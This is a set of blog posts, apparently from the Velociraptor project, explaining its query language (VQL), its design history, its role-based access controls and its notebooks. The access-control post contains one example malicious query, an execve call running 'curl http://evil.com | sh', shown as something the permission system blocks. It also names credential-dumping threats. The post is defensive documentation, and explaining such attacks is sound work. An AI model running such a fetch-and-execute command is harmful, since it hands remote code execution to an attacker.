In VQL plugins accept named arguments, but the arguments do not have to be simple types like integers or strings. It is also possible to provide a subquery as an argument to a plugin. The foreach() plugin takes advantage of this property by accepting a row query and a query query. For each row emitted by the row query, the foreach() plugin executes the query provided in the query argument. This is illustrated in the diagram below.

How can we use this in practice? Consider the following example…

In this example, we select all columns from the foreach() plugin, providing the row argument a query which lists all the running processes and extract their binary path. For each binary path, we run the stat() plugin returning filesystem information (like timestamps, size etc).

While this query is obviously useful from a DFIR perspective (it tells us when the binary of each process was modified), it also shows how scope is used within VQL.

You might notice that we refer to a symbol Exe within the query query — where does this get resolved from? The foreach plugin creates a sub-scope in which to run the query query, and appends the row to it. In this way, it is possible to access symbols from the iterated row from the inner loop, and therefore stat a new file each time. Information flows from the row query into the query query by way of the nested scope that is shared between them.

More foreach examples

The foreach plugin is one of the most often used plugins in VQL. It is very common to apply one plugin over the result set of another plugin. Here we give several examples:

Yara scan files matching a glob expression:

List all open file handles from all chrome processes:

Conclusions

This second installment in our series of articles about VQL internals I introduced the idea of scope in VQL. We saw how scope lookups are central to controlling data flow within the query, with some plugins creating nested sub scope in which to evaluate subqueries.

We saw how this principle is applied in the foreach() plugin to implement a looping control flow — apply a query over each row produced by another query. This construct allows us to iterate over rows and act on each one with a second dedicated query. Although functionally equivalent to an SQL join operation, it is arguably easier to read and understand VQL queries.

In the next part we see how VQL queries themselves may be stored in the scope and reused. We go back to the concept of lazy evaluation we encountered in the first part and see how this applies to sub queries. We then introduce event queries as a way to run fully asynchronous and event driven VQL.

The Velociraptor Query Language Pt 1

Sun, 14 Jun 2020 00:38:44 +0000

Velociraptor’s query language is central to the operation of Velociraptor. We find it being used in querying endpoints, collecting forensic artifacts and endpoint state and even in post processing data on the server.

Velociraptor is ultimately just a VQL query evaluation engine!

Why should you know more about VQL? Users do not actually need to know VQL to simply collect DFIR artifacts from endpoints, hunt for malware or remediate an infection. The Velociraptor GUI is powerful and provides expert DFIR knowledge at the tip of your fingerprints through built in and community contributed artifact definitions.

However being proficient in VQL will allow you to be able to write custom artifacts, post process data and adapt quickly to changing requirements during a fluid incident response exercise. You will also be able to understand, modify or adapt existing artifacts to your changing needs or to handle new evidence sources.

This is the first of a series of articles about the VQL query language. I hope this series will inspire you to develop and contribute new artifacts to this open source project — to the benefit of all members of the community.

Why a query language?

Before we start, let’s discuss why would we want a query language in an endpoint visibility and monitoring tool, such as Velociraptor.

In practice, the DFIR process is very fluid — sometimes we don’t know in advance what we would encounter. We need a way to rapidly and flexibly deploy new hunting techniques and algorithms in order to responds to the dynamic nature of IR.

There are a number of other DFIR tools that do not feature a rich query language — but they all provide some method of dynamically adding code to the endpoint. For example GRR supports “Python Hacks” to run arbitrary code at the endpoint, Tanium supports running scripts and Carbon Black allows running arbitrary commands using an API. All these methods cater for dynamic and flexible response.

OSQuery was the first tool to offer SQL as a query language for accessing endpoint state. This is really powerful and is probably the most similar tool to Velociraptor’s VQL. So in this article we will often highlight similarities and differences between Velociraptor’s VQL and OSQuery’s SQL.

Velociraptor Notebooks

In the articles in this series, we will be working with the Velociraptor notebook. The notebook is a way to collaborate with many investigators in the course of a DFIR investigation using a shared document consisting of cells (think of it like a Google docs for DFIR!).

If you want to follow along this article, you should install the Velociraptor frontend locally (simply generate a simple local config using velociraptor config generate -i and start the frontend using velociraptor.exe –config server.config.yaml frontend -v.

Start a new notebook by selecting the notebook in the sidebar then add a new notebook. Provide a title and description and then add a new VQL cell.

Notebooks consists of a series of Cells. There are a number of types of cells but the most common are Markdown Cells and VQL cells. VQL cells allow one to run arbitrary VQL directly within the notebook, and view the results in a table.

When you create a new notebook, the first cell will be of type markdown. You can add a VQL cell below that by simply selecting Add VQL cell from the toolbar.

A VQL cell allows one to simply write VQL queries into the notebook. Note that VQL queries in the notebook are actually running on the server itself. It is therefore possible to control and automate the server using VQL (we will see this in a later article).

For now simply write the following query and click the save icon.

SELECT * FROM info()

When you finish writing your VQL query, click the “Save” button to update the notebook cell and recalculate the table.

You have just written your first VQL query!

One important thing to note is that the output of a query is always a table. The GUI will render the table in the VQL cell. The table will always return a sequence of rows, each row being a simple collection of columns. You can think of a row as simply a python dictionary with keys being the column names and values being arbitrary objects.

VQL Basics

VQL was designed to be easy to use and simple to understand. It is also based on SQL but does not support more complex SQL constructs like joins. The basic statement in VQL looks like this:

VQL queries start with the SELECT keyword, and are then followed by a list of “Column Selectors” which specify the columns that will be emitted. A VQL query can also have a WHERE clause — representing a filter which the row must pass before it is emitted.

One of the biggest differences between VQL and SQL is the use of parameters given to plugins. SQL was designed to operate on static data tables, however, in VQL, data sources are not static — they are actually plugins which generate rows when called (for example pslist() is a plugin which returns one process per row).

Since plugins run code, it makes sense that they would accept arguments just like functions. Therefore in VQL plugins receive keyword arguments. VQL does not support positional arguments — all arguments are named. In the GUI pressing “?” inside a plugin will suggest all the keywords the plugin accepts so it is really easy to find the names for a plugin’s arguments.

VQL Plugins generate rows, but what exactly is a row? Unlike SQL which deals with simple data types, a VQL row can be thought of as a mapping (i.e. python dictionary or a JSON object) where keys are the column names, and values can take on simple types like integers, strings, as well as complex types like other objects, timestamps etc.

You can see the raw data for each row in the table by clicking the “Show Raw JSON” button (Looks like binoculars) in the table GUI. For example, for the above query we can see the raw data as below.

In our case the info() plugin generated a single row with information about the running platform. The raw data consists of a list of JSON objects — each object represents a single row. Rows have column names and each column may contain different data.

Lazy VQL

One interesting aspect of VQL is lazy evaluation. Since VQL functions can be expensive or have side effects it is important to understand how they are evaluated. In the following discussion we will illustrate this by use of the log() VQL function — this function simply emits a logging message (you can think of it as the VQL equivalent of print).

Let us modify the above query to simply log a simple message “I ran!”

The GUI renders query logs in red under the table. As we can see the log() function evaluated to true and a side effect was logging a message.

It is best to understand how lazy evaluation works by looking at examples. Consider the following example:

In this query we add another column to the output of the info() plugin called “Log” which contains the **log() **function. We then use this column in the WHERE clause. Since the log() function always returns true, the row will pass the filter and be emitted, as well as a log message printed.

What happens however, if the row is filtered out? Let us change this query to be filtered only if the OS is windows (this query is running on Linux).

Since no rows are emitted, the log() function is never evaluated! Therefore we got no logging message. Notice how the log() function is evaluated lazily — since the output is not needed since the row is filtered out.

Let’s now change the query to consider the Log column in the WHERE clause

Because the WHERE clause needs to evaluate the column “Log” the log() function will be evaluated first — even though the row is ultimately eliminated, we still receive a log message!

VQL evaluates a logical expression in a lazy manner — the left hand side of the AND clause is evaluated, and if true the right hand side is evaluated.

Let’s swap the order of the AND clause

This time the row is eliminated by the left hand condition (OS = “Windows”) and VQL does not need to evaluate the Log column at all! Hence we get no logging message.

Using laziness in practice

The previous discussion was rather theoretical but how would you use this behavior in reality? When we write VQL it is important to bear in mind how expensive we believe each operation would be.

For example consider the hash() function which calculates a hash of a file when evaluated. Suppose we were looking for a particular file with a known hash in the /usr/bin directory.

This query is rather expensive — we have to hash every single file in the directory and compare that to our malicious hash (In VQL =~ is the regex match operator). If the directory is large, or we search through many directories, this can take many minutes!

Instead we can leverage the lazy evaluation property to make the query far more efficient by considering other attributes of the file which are quicker to calculate

This revised query is almost instant! We only really hash those files whose size is exactly 499 bytes and never hash any of the other files which are not the ones we are looking for!

We can now encode this VQL query in an artifact, and launch it as a hunt on our entire deployment. This low cost, almost instant hunt is well suited for very wide deployment without fear of adverse effects on endpoint performance.

Conclusion

VQL is a very powerful way of searching for specific indicators on the end point. A good working knowledge of VQL pays dividends to the DFIR hunter. This first part in our series of articles about VQL internals hopes to provide you with the tools and confidence to forge your own VQL queries. In the next article we explore VQL’s control structures such as if(), foreach() and switch().

Velociraptor

Thu, 16 Apr 2020 00:38:44 +0000

This is an introductory article explaining the rationale behind Velociraptor’s design and particularly how Velociraptor evolved with some historical context compared with other DFIR tooling. We took a lot of inspiration and learned many lessons by using other great tools, and Velociraptor is our attempt at pushing the field forward.

Digital forensics is primarily focused on answering questions. Most practitioners limit their cases around high level questions, such as did the user access a particular file? Was malware run on the user’s workstation? Did an attacker crack an account?

Over the years, DFIR practitioners have developed and refined methodologies for answering such questions. For example, by examining the timestamps stored in the NTFS filesystem we are able to build a timeline tracing an intruders path through the network. These methodologies are often encoded informally in practitioners’ experience and training. Wouldn’t it be great to have a way to formally document and encode these methodologies?

In many digital evidence based cases, time is of the essence. The forensic practitioner is looking to answer questions quickly and efficiently, since the amount and size of digital evidence is increasing with every generation of new computing devices. We now see the emergence of triage techniques to quickly classify a machine as worthy of further forensic analysis. When triaging a system, the practitioner has to be surgical in their approach — examining specific artifacts before even acquiring the hard disk or memory.

Triaging is particularly prevalent in enterprise incident response. In this scenario it is rare for legal prosecution to take place, instead the enterprise is interested in quickly containing the incident and learning of possible impacts. As part of this analysis, the practitioner may need to triage many thousands of machines to find those machines who were compromised, avoiding the acquisition of bit-for-bit forensically sound images.

The rise of the endpoint DFIR agent

This transition from traditional forensic techniques to highly scalable distributed analysis has resulted in multiple offering of endpoint agents. An agent is specialized software running on enterprise endpoints providing forensic analysis and telemetry to central servers. This architectures enables detection of attackers from different endpoints as they traverse through the network and provides a more distributed detection coverage for more assets simultaneously.

One of the first notable endpoint agents was GRR, a Google internal project open sourced around 2012. GRR is an agent installed on many endpoints controlled by a central server. The agent is able to perform some low level forensic analysis by incorporating other open source tools such as the Sleuthkit and The Rekall Memory forensic suite. The GRR framework was one of the first to offer the concept of hunting — actively seeking forensic anomalies on many endpoints at the same time. For the first time, analysts could pose a question — such as “Which endpoints contain this registry key”, to thousands of endpoints at once, and receive an answer within hours.

Hunting is particularly useful for rapid triaging — we can focus our attention only on those machines which show potential signs of compromise. GRR also provides interactive remote access to the endpoint, allowing for user inspection of the endpoint (such as interactively examining files, directories and registry keys).

As useful as GRR’s approach was at the time, there were some shortfalls, mainly around lack of flexibility and limited scale and performance. GRR features are built into the agent making it difficult to rapidly push new code updates or new capabilities in response to changing needs. It is also difficult to control the amount of data transferred from the endpoint which often ends up being much too detailed than necessary, leading to performance issues on the server.

The next breakthrough in the field was the release of Facebook’s OSQuery. This revolutionary tool allows one to query the endpoints using a SQL like syntax query. By querying the endpoint, it is possible to adapt the results sent, apply arbitrary filtering and combine different modules in new creative ways. OSQuery’s approach proved to be very flexible in the rapidly evolving stages of incident response, where users need to modify their queries rapidly in response to emerging needs.

Introducing Velociraptor

Learning from these early projects, Velociraptor was released in 2019. Similar to GRR, Velociraptor also allows for hunting across many thousands of machines. Inspired by OSQuery, Velociraptor implements a new query language dubbed VQL (Velociraptor Query Language) which is similar to SQL but extends the query language in a more powerful way. Velociraptor also emphasizes ease of installation and very low latency — typically collecting artifacts from thousands of endpoints in a matter of seconds.

Figure 1 above shows an overview of the Velociraptor architecture. The Velociraptor server maintains communications with the endpoint agents (called Clients) for command and control. The web based administration user interface is used to task individual clients, run hunts and collect data.

Ultimately, Velociraptor agents are simply VQL engines — all tasks to the agent are simply VQL queries that the engine executes. VQL queries, just like database queries, result in a table, with columns (as dictated by the query) and multiple rows. The agent will execute the query, and send back the results to the server which simply stores them as files. This approach means the server is not really processing the results other than just storing them in files. Therefore the load on the server is minimal allowing for vastly scalable performance.

Velociraptor artifacts

Writing free-form queries is a powerful tool, but from a user experience perspective, it is not ideal. Users will need to remember potentially complex queries. Velociraptor solves this by implementing “**Artifacts**”. An artifact is a text file written in YAML which encapsulates the VQL, adds some human readable descriptions and provides some parameters allowing users to customize the operation of the artifact to some extent.

As an example of this process, we consider the Windows Scheduled Tasks. These tasks are often added by attackers as a way of gaining persistence and a backdoor to a compromised system (See Att&ck Matrix T1053). Velociraptor can collect and analyse these tasks if provided with the appropriate VQL query. By writing the query into an artifact we make it possible for other users to simply re-use our VQL.

Figure 2 shows the Windows.System.TaskScheduler artifact as viewed in the GUI. The artifact contains some user readable background information, parameters and the VQL source. As Figure 3 below shows, in the GUI, one simply needs to search for the scheduled tasks artifact, select it and collect it from the endpoint.

As soon as we issue the collection request, the client will run the VQL query, and send the result to the server within seconds. If the agent is not online at the time of the query, the task will be queued on the server until the endpoint comes back online, at which time the artifact will be collected immediately.

Figure 4 shows the result of this collection. We see the agent took 5 seconds to upload the 180 scheduled task XML files, which took a total of 5.7mb. We can click the “Prepare Download” button now to prepare a zip file containing these files for export. We can then download the Zip file through the GUI and store it as evidence as required.

Figure 5 shows the results from this artifact. The VQL query also instructed the endpoint to parse the XML files on the endpoint and extract the launched command directly. It is now possible to quickly triage all the scheduled tasks looking for unusual or suspicious tasks. The exported Zip file will also contain the CSV files produced by this analysis and can be processed using any tool that supports CSV formatted data (e.g. Excel, MySQL or Elastic through Logstash).

Hunting with Velociraptor

Continuing our example of scheduled tasks, we now wish to hunt for these across the entire enterprise. This captures the state of the deployment at a point in time when the hunt was collected and allows us to go back and see which new scheduled tasks appeared at a later point in time.

Hunting is simply a way to collect the same artifact from many machines at the same time. The GUI simply packages the results from these collections into a single exported file.

Figure 7 shows a hunt created to collect the Windows.System.TaskScheduler artifact. We can see the total number of clients scheduled and completed and that the hunt will expire in one week. If new machines appear within this time, they will also have that artifact collected. Finally we can prepare an export zip file for download that contains all the client’s collected artifacts.

Forensic analysis on the endpoint

To be really effective, Velociraptor implements many forensic capabilities directly on the endpoint. This allows for writing artifacts that can leverage this analysis, either in a surgical way — identifying directly the relevant data, or in order to enrich the results by automatically providing more context to the analyst. In this section we examine some of these common use cases and see how they can be leveraged through use of artifacts.

Searching for files

A common task for analysts is to search for particular filenames. For example, in a drive by download or phishing email case, we already know in advance the name of the dropped file and we simply want to know if the file exists on any of our endpoints.

The Windows.Search.FileFinder artifact is designed to search for various files by filename. Figure 8 below illustrates the parameters that can be used to customize the collection. For a typical drive-by download, we might want to search for all binaries downloaded recently within the user’s home directories. We can also collect matching files centrally to further analyse those binaries. The artifact also allows us to filter by keywords appearing within file contents.

Searching for files is a very common operation which covers many of the common use cases, but it is limited to finding files that are not currently deleted. Velociraptor also includes a complete NTFS filesystem parser available through a VQL plugin. This allows us to extract low level information from every MFT entry.

**Figure 10 **shows a sample of this output. We can see details like the FILE_NAME timestamps, as well as the STANDARD_INFORMATION stream timestamps (useful for detecting time stomping).

While the Windows.NTFS.MFT artifact dumps all MFT entries from the endpoint, we can make this more surgical and specifically search for deleted executables. To do this we would need to modify the VQL query to add an additional filter.

Modifying or customizing an artifact is easy to do through the GUI. Simply search for the artifact in the “View Artifacts” screen, and then click the “Modify Artifact” button to bring up an editor allowing the YAML to be directly edited (Note that all customized artifacts, automatically receive the prefix “Custom” in their name setting them apart from curated artifacts).

In the figure above we added the condition “WHERE FileName =~ ‘.exe$’ AND NOT InUse” to restrict output only to deleted executables. We now select this customized version and collect it on the endpoint as before. Since we have filtered only those executables which are deleted in this query, the result set is much smaller and somewhat quicker to calculate. Figure 11 below shows a single binary was found on our test system still recoverable in unused MFT entry.

Figure 11 shows an MFT entry for a binary that had been removed from disk. If we are lucky we can attempt to recover the deleted file using the **Windows.NTFS.Recover **artifact. This artifact simply dumps out all the attribute streams from the specified MFT entry (including the $DATA attribute) and uploads them to the server. Figure 12 below shows how we can select to collect this artifact, and specify the MFT entry reported in the previous collection as a parameter to the artifact.

Figure 13 shows the output from the **Windows.NTFS.Recover **artifact, showing the **$DATA **stream was correctly recovered as verified by its hash.

The previous example demonstrates how having advanced forensic analysis capabilities is valuable during endpoint monitoring. The example of a drive by download required us confirming if a particular executable is present on any of our endpoints. We started off by performing a simple filename search for executables. But realizing this will only yield currently existing files, we move onto deep level NTFS analysis dumping all MFT entry information. We then modified the VQL query to restrict the output to only the subset of results of interest in our case.

This modified query can now run as a hunt on the entire fleet to determine which executables have recently been deleted anywhere, which would confirm if the malware was run on other machines we are not aware of. We can then potentially use NTFS recovery techniques to recover the binary for further analysis. Without the flexibility of the powerful Velociraptor Query Language it would be difficult to adapt to such a fluid and rapidly developing incident.

Conclusions

Velociraptor includes many other low level analysis modules, such as parsing prefetch files, raw registry access (for AMCache analysis), ESE database parser (facilitating SRUM database forensics and Internet Explorer history analysis), SQLite parsers (for Chrome and Firefox history) and much more.

The true power of Velociraptor is in combining these low level modules with other VQL queries to further enrich the output or narrow down queries making them more surgical and reducing the amount of false positives. This more targeted approach is critical when hunting at scale in order to reduce the amount of data collected and assist the operator in focusing on the truly important evidence quickly and efficiently.

The type of analysis performed is driven by a flexible VQL query, written into an artifact by the user. This unprecedented level of flexibility and scale in a forensic tool allows for flexible and novel response and collection. It is really only limited by the imagination of the user.

We opened this article by imagining a world where experienced forensic practitioners could transfer and encode their knowledge and experience into actionable artifacts. Velociraptor’s artifacts help to bring this vision to life — allowing experienced users to encode their workflow in VQL artifacts opens these techniques up to be used by other practitioners in a more consistent and automated fashion. We hope to inspire a vibrant community of VQL Artifact authors to facilitate exchange of experience, techniques and approaches between practitioners and researchers alike.

Velociraptor is available under an open source license on GitHub. You can download the latest Velociraptor release and use it immediately, or clone the source repository and contribute to the project. You can also contribute VQL snippets or artifacts directly to the project in order to share commonly used artifacts with the larger community.

About the author: Mike Cohen is a digital forensic researcher and senior software engineer. He has supported leading open-source DFIR projects including as a core developer of Volatility and lead developer of both Rekall and Google’s Grr Rapid Response. Mike has founded Velocidex in 2018 after working at Google for the previous 8 years in developing cutting edge DFIR tools. Velocidex is the company behind the Velociraptor open source endpoint visibility tool.

Velociraptor’s ACL model

Sun, 29 Mar 2020 00:38:44 +0000

Velociraptor is a very powerful tool with a great deal of privileged access to many endpoints. Velociraptor clients typically run with System or root level access on endpoints, in order to have low level access to the operating system. It follows that administrators on Velociraptor also have privileged access to the entire domain as well — they are equivalent to domain administrators.

For small trusted teams of investigators this is probably fine, however as Velociraptor is being more widely deployed in enterprise environments it has become clear that we needed a more elaborate role based ACL model.

What are the threats?

Thinking of the different ways Velociraptor may be abused can shed some light on what we are trying to protect and how to protect it. Suppose a malicious actor was able to compromise an account belonging to one of the Velociraptor deployment admins. What damage could they do?

Viewing collected data

A malicious Velociraptor user can look at existing collected data, which might contain PII or security sensitive information. For example they might be able to inspect process execution log from any machine and determine further targets on the network.

Collecting additional information from endpoints

The next level of threat is actual collection of new information. Some forensic information is very sensitive, and adversaries may actively collect it (for example copy out ntds.dit for offline cracking or dump out lsass memory for offline credential recovery). A legitimate investigator would rarely need to perform these actions, but collecting files and dumping memory are normal routine forensic artifacts that are typically collected in the course of an investigation.

Clearly being able to misuse these artifact collections is a significant threat.

Writing new artifacts

Velociraptor’s unique power lies in its flexible query language (VQL). Being able to write new VQL allows adversaries to run arbitrary code on the endpoint. New VQL can invoke the execve() VQL plugin which shells out with arbitrary command line arguments.

While is it convenient and even required to allow the Velociraptor endpoint to invoke the shell with arbitrary arguments, in the wrong hand it clearly represents a significant risk.

Running VQL on the server

Velociraptor’s flexibility also allows for running arbitrary VQL queries on the server itself. This is useful for both managing the server (for example adding labels to clients) as well as post processing results from previous collections (For example by running VQL queries in the notebook cells to further filter collected artifacts).

While server side VQL is extremely useful, in the wrong hands it can result in complete server compromise. Since VQL can invoke the execve() plugin, being able to run server side VQL is equivalent to server shell access.

Role based access control (RBAC)

Thinking about the threats in the previous section helped us get an understanding of how roles can help mitigate these risks. What do we mean by role based ACLs? We would like to assign users different roles, which control the type of activity they do. In this way, we can limit the amount of damage each user can do and reduce the number of powerful user accounts.

For example, we can come up with the following roles:

reader: This role provides the ability to read previously collected results but does not allow the user to actually make any changes. Sometimes we give customer sysadmins this role to allow them to see what we are doing on their network, but without allowing them to actually collect any data.
analyst: The next level up is an analyst — they are able to read existing collected data and also run some server side VQL in order to do post processing of this data or annotate it. Analysts typically use the notebook or download collected data offline for post processing existing hunt data. Analysts may not actually start new collections or hunts themselves.
investigator: The investigator role is the same as the analyst but can actually initiate new hunts or flow collections.
artifact_writer: This role allows a user to create or modify new client side artifacts (They are not able to modify server side artifacts). This user typically has sufficient understanding and training in VQL to write flexible artifacts. Artifact writers are very powerful as they can easily write a malicious artifact and collect it on the endpoint. Therefore they are equivalent to domain admins on endpoints. You should restrict this role to very few people.
administrator: Like any system, Velociraptor needs an administrator which is all powerful. This account can run arbitrary VQL on the server, reconfigure the server etc. Hopefully, the need for a user to have administrator level access is greatly reduced by the RBAC system.

Permissions

In the previous section we saw how roles can be assigned to users to create a reasonable division of work and limit the power of each user to their prescribed role. How are these actually implemented in Velociraptor though?

Velociraptor’s flexibility makes direct implementation of an RBAC challenging. Since Velociraptor is really just a VQL engine, it does different things depending on the query issued. For example, this server side query examines the results of a hunt:

 SELECT * FROM hunt_results(hunt_id=”H.1234")

It is a perfectly valid post processing query and should be allowed, even inside the notebook, by any analyst.

However the query

 SELECT * FROM execve(argv=[“bash”, “-c”, “curl http://evil.com | sh”])

Is clearly a malicious query and should be blocked from the notebook (It can result in server compromise).

Velociraptor solves this by introducing a permission system. Each VQL plugin requires the caller to possess a particular permission. For example, the execve() plugin required the EXECVE permission (i.e. being allowed to run arbitrary shell commands). If the user does not have the permission, the plugin fails with an error.

Let’s look at this example more closely. I will create a user called “analystbob” and assign them the analyst role:

Bob is allowed to view and edit notebooks using the GUI since Bob is an analyst. Let’s see Bob creating a new notebook

Bob can even issue VQL queries for post processing and filtering of collected data. However, what happens if they try to issue the malicious VQL above within a VQL notebook cell?

Bob’s query returned no rows since the execve() plugin refused to run without the EXECVE permission, which Bob lacks.

Let’s see Bob browsing the Virtual Filesystem of an endpoint

The rest of the GUI does not allow Bob to actually collect any new data — for example the VFS view does not allow collecting new directory listing or new files (but Bob can still navigate already collected directories).

If Bob wants to collect new artifacts or perform new hunts, he will need to ask investigatoralice who has the investigator role to actually collect those. Similarly, if Bob wants to modify or implement a new artifact they will need to ask the user sue who has the artifact_writer role to be able to add the artifacts for him (Once the artifact is added, Alice can now collect it — she just can’t add it herself).

Artifact permissions

Some artifacts are more sensitive than others. For example, the Windows.System.CmdShell artifact implements the interactive shell feature. It allows arbitrary commands to be executed by the command shell on the endpoint — a very powerful artifact indeed.

If we allowed an investigator role to run this artifact, they could easily escalate to System level access on the endpoint. Therefore we really should be limiting the permissions of users that are allowed to run this specific artifact.

The artifact definition itself specifies that this artifact requires the EXECVE permission. Let’s see what happens when investigatoralice attempt to collect that artifact.

Velociraptor refuses to schedule this artifact collection since alice does not have the execve permission (This is only available to administrators). Therefore only administrators can issue arbitrary commands on the endpoint.

Lets have a look at the available permissions (Permissions might evolve over time, but these are the defined permissions at this time)

https://github.com/Velocidex/velociraptor/blob/master/acls/proto/acl.proto

https://github.com/Velocidex/velociraptor/blob/master/acls/proto/acl.proto

API Clients

We have previously shown how Velociraptor can be accessed through the API. The Velociraptor API is very simple — it simply offers a single gRPC method called Query which allows clients to run arbitrary VQL queries on the server.

Previously there was no access controls on the VQL issue by the API client, so an API client could run any VQL queries. Typically API clients are used to automate post processing of hunts and flows and so they rarely need more sophisticated permissions.

It is now possible (even required) to limit the access of API clients by assigning them specific permissions depending on the queries they typically need to run.

For example, suppose I have a python program which watches for server events so it can post process them. The program will run the query

SELECT * FROM watch_monitoring(artifact=’System.Flow.Completion’)

This program only needs the following permissions

The any_query permission is required to issue any VQL queries
The collect_server permission is required to collect any information from the server itself (i.e. about server state).
The read_results permission is required to see any endpoint data already collected

First I will create an API config file for this program, then grant the API client the minimum required permissions.

velociraptor config api_client api_config.yaml --name PythonPostProcess
velociraptor acl grant PythonPostProcess ‘{“any_query”:true,”collect_server”:true,”read_results”:true}’

Note the acl grant command grants an ACL policy object to the specific username or API keys name. The policy object is simply a JSON encoded object with the required permission set to true.

We can now use the pyvelociraptor Python program to connect to the API and run the query.

Imagine if this API key was compromised and the attackers attempted to run the shell command on the server through the API. The server logs show the API call being made and then immediately a permission denied due to EXECVE permission missing. The power of the key is limited by the restricted permissions.

Conclusions

Velociraptor role based access controls allows for greater division of labor within the Velociraptor DFIR team. The roles limit the level of damage that can be done with a user account compromise.

However, we must remember still that Velociraptor is still a very privileged program with a lot of access. It is inherently difficult to predict how privilege can be escalated — after all Velociraptor collects highly sensitive forensic artifacts whose disclosure can sometime result in PII or security incidents. It is still a good idea to limit access to the Velociraptor GUI to the minimum number of people that need it, and ensure the entire team is trained at how to wield Velociraptor effectively.

Velociraptor notebooks

Sat, 28 Mar 2020 00:38:44 +0000

Velociraptor is a great tool for collecting endpoint state easily and efficiently. It is so efficient, that sometimes we end up with a lot of collected data and are left with the task of making sense of the data, and documenting our investigative process.

In a previous article we have seen how post-processing of collected data can be done using Jupyter notebooks. The notebook is a living document, allowing us to run analysis code interspersed among documentation which can be updates in real time, as the analyst post-processes and annotates the data.

Although one can still use Jupyter notebooks to post process Velociraptor collected data, the latest Velociraptor release (0.4.1) added a notebook feature built in. This saves the effort of connecting Jupyter via the API and running python wrappers to manipulate VQL. Velociraptor notebooks are also better integrated into the rest of Velociraptor with native support for VQL, markdown and embedded images. In this article we will explore a typical workflow of using Velociraptor notebooks to investigate a DFIR

Velociraptor’s notebooks

In the following article we analyze the same case as in our previous article. After installing the latest Velociraptor release (0.4.1) we see a new “Notebooks” menu option on the navigation sidebar.

What are notebooks?

Notebooks are free form, shared documents built right into the Velociraptor GUI. Multiple analysts can view and edit the same notebook simultaneously.

Typically in DFIR work, analysts do not necessarily immediately know the root cause of an intrusion. Analysis is often a long process of collecting evidence, post processing it in some way, analysing the results and collecting further evidence based on our findings.

Notebooks are a way of documenting this process while facilitating collaboration between different team members. During the investigation phase, they are a living document collecting conclusions from multiple artifacts, and coordinating team members. While after the investigation they are a document indicating what was done, and the logical process of reaching the final conclusions.

Case study — scheduled tasks

This is a typical DFIR investigation. We suspect malware has installed malicious scheduled tasks to restart itself. We previously ran a hunt to collect all scheduled tasks and would like to examine the results (see the previous article for background).

Creating a new notebook

We will create a notebook to document our analysis process. Selecting the Notebook menu in the sidebar and then clicking the “New Notebook” toolbar button.

We will name our notebook “Scheduled Tasks — Case 1232”, and add a useful description. Clicking the “Add Notebook” button will create the new notebook which will now be visible in the top pane, and we can see an initial notebook created on the bottom pane.

A notebook consists of a series of cells. Each cell can be of type “Markdown” or “VQL”. In our new notebook, the first cell consists of the name and description we entered earlier. Clicking on the cell shows actions that can be done with that cell.

Let’s edit this cell and add our rationale for this investigations. Clicking the “Edit Cell” button will open an editor and allow us to write cell content in markdown (If you are not familiar with markdown, GitHub has an excellent guide Mastering Markdown). The cell editor can be either in Markdown mode or VQL mode as selected by the pull down on the right.

Let’s also assume that this investigation was started by an alert we received from our SIEM. We can simply take a screenshot of our SIEM alert and paste it into the cell editor to add context to our notebook. Velociraptor will automatically add the image into the notebook and substitute with the markdown to reference it.

Once we finish adding relevant background information to our notebook, we can save the cell by pressing the “Save” button (or pressing CTRL-Enter).

Velociraptor will render the markdown in the notebook and we can see our screenshot.

Next we need to post process the scheduled tasks we collected earlier in a hunt. Clicking the “Add Cell” pulldown provides a number of options — in our case, we want to add a cell from an existing hunt.

Velociraptor will then ask us which hunt we want to use

Selecting the hunt and clicking OK will produce a new VQL cell, already populated with the basic query we need to run to see the results of the hunt. Note that we always use the LIMIT clause to prevent the GUI from processing too much data. At this stage we only want to see the first 10 rows until we can refine our query.

Clicking “Save” will calculate the query and show us the columns available.

We can now refine the columns we see by specifying them in the VQL query. In our case we only wish to see FullPath, Command, Arguments and Fqdn (The hostname of the endpoint). We know that our alert was for executing “cmd.exe” so we narrow our query to only see scheduled tasks with the cmd.exe command (WHERE Command =~ “cmd.exe”).

After more investigation we determine that the silcollector and dsregcmd tasks are not malicious so we can exclude them.

We repeat the process as needed until left only with the suspicious commands.

In practice we can now add more markdown cells to explain our findings, implement remediation hunts to remove the malicious scheduled task etc. We can even include the VQL we ran in the report by using markdown code blocks.

Exporting the notebook

It is great to have a notebook inside Velociraptor, but we really need to be able to print it or share it with others. Additionally, DFIR cases are typically very fluid and the notebook will evolve through multiple revisions. As new data becomes available, perhaps conclusions reached in previous versions need to be revised. This is why we say a notebook is a living document

For these reasons, Velociraptor allows users to export the notebook into plain HTML. The HTML export is a point-in-time export, as the investigation proceeds and new information becomes available, the same notebook may be exported again and again, each version revealing new findings.

To export our notebook we select it in the top pane then click on “Export Notebook” button in the toolbar. The dialog box shows us all the existing exports from previous times and also allows us to create a new export.

Clicking on any of the exported files, opens the exported HTML file in another browser window.

Although in this view the tables are not interactive as before, the data is all available there.

Alternatively, we might want to export the result of each post-processed table. To export one table to CSV we can simply click the “Export to CSV” button at the top left of each notebook table

Conclusions

The new Velociraptor notebook interface adds to Velociraptor’s capabilities as a one stop shop for DFIR investigations. Not only do we have the ability to quickly and efficiently collect artifacts from endpoints, we can now post-process these artifacts in the tool itself. Being able to document our investigative process and produce a report gives us great flexibility without resorting to clunky file exports and spreadsheets.

Having notebooks as a built-in feature and usable out of the box removes the need for fiddly setup with API connectivity, and supporting external programs like Jupyter or Python. Simple, powerful, works out of the box!

Extending VQL plugins

Sat, 07 Mar 2020 00:38:44 +0000

Velociraptor is a unique endpoint visibility tool because it provides the ability for users to write custom, tailored queries using the Velociraptor Query Language (VQL). Having a powerful query language right at the endpoint gives our responders unprecedented flexibility, and the ability to leverage the experience of other analysts within the vibrant Velociraptor community.

VQL is a powerful language but was never designed to be a full featured programming language — it is deliberately kept simple and easy to use. VQL is essentially a glue language that allows more complete capabilities provided by VQL plugins to be strung together into a more functional query.

For example, raw MFT parsing is provided by the parse_mft() plugin which emits a row for each parsed mft entry. A VQL query can then filter out relevant MFT entries and potentially get a copy of the file, or attempt to recover deleted files (as described in our previous article.

VQL Basics

Although VQL is already very well documented elsewhere, for this article I will just outline the basic structure of a VQL query:

 SELECT x, y, z FROM plugin() WHERE x = 1

In the above, the query will run the VQL plugin which will produce a set of rows (A row is simply an object with columns and values). The query will then filter each row by the condition “x=1” and for matching rows, extract the columns x, y and x into the result set.

The simplicity of this language allows analysts to pick up Velociraptor in a short time and make powerful use of it. However, the actual data is generated by the plugin itself — how does one extend VQL to include new functionality?

Extending VQL via Artifacts

